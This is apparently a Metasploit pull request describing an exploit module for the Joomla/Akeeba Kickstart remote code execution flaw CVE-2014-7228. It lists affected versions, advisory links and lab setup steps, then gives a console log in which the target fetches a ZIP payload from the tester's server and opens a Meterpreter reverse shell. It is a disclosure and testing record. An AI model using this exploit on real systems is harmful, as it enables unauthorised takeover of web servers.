rapid7/metasploit-framework — pull request #3989 by us3r777 (2014-10-10 08:30:01+00:00)
Title: CVE-2014-7228 Joomla/Akeeba Kickstart RCE

# Description
This module exploits a vulnerability found in Joomla! by Johannes Dahse. It affects versions through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4 versions. The vulnerability more specifically affects the Akeeba component, which is responsible for Joomla! updates. Nevertheless it is worth to note that this vulnerability is only present during the update of the Joomla! CMS.

# Links
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7228
http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html
https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html
http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/

# Reproduction
[ ] Install Apache / Php / Mysql
[ ] Install a vulnerable Joomla!
[ ] Create the file administrator/components/com_joomlaupdate/restoration.php (the content doesn't matter, the file presence is enough to make akeeba think the software is updating)

# Test
Tested on Joomla! 3.3.4
```
2014-10-09 18:55:24 +0200 S:5 J:0 > use exploit/unix/webapp/joomla_akeeba_exec
2014-10-09 18:55:25 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > set TARGETURI /joomla3.3.4
TARGETURI => /joomla3.3.4
2014-10-09 18:55:30 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
2014-10-09 18:55:34 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
2014-10-09 18:56:12 +0200 S:5 J:0 exploit(joomla_akeeba_exec) > run

[*] Started reverse handler on 192.168.56.1:4444
[*] Creating archive with file MfJjoFyjFDlLrWo.php
[*] Starting up our web service on http://192.168.56.1:8080/Nctu3KE.zip ...
[*] Using URL: http://0.0.0.0:8080/Nctu3KE.zip
[*] Local IP: http://192.70.106.83:8080/Nctu3KE.zip
[*] Sending our payload to 192.168.56.101:80
[*] Sending the ZIP archive to the server...
[*] Sending the ZIP archive to the server...
[*] Sending stage (40551 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:55794) at 2014-10-10 09:56:55 +0200
[+] Deleted MfJjoFyjFDlLrWo.php
[*] Server stopped.

meterpreter > sysinfo
Computer : debian
OS : Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.54-2 i686
Meterpreter : php/php
```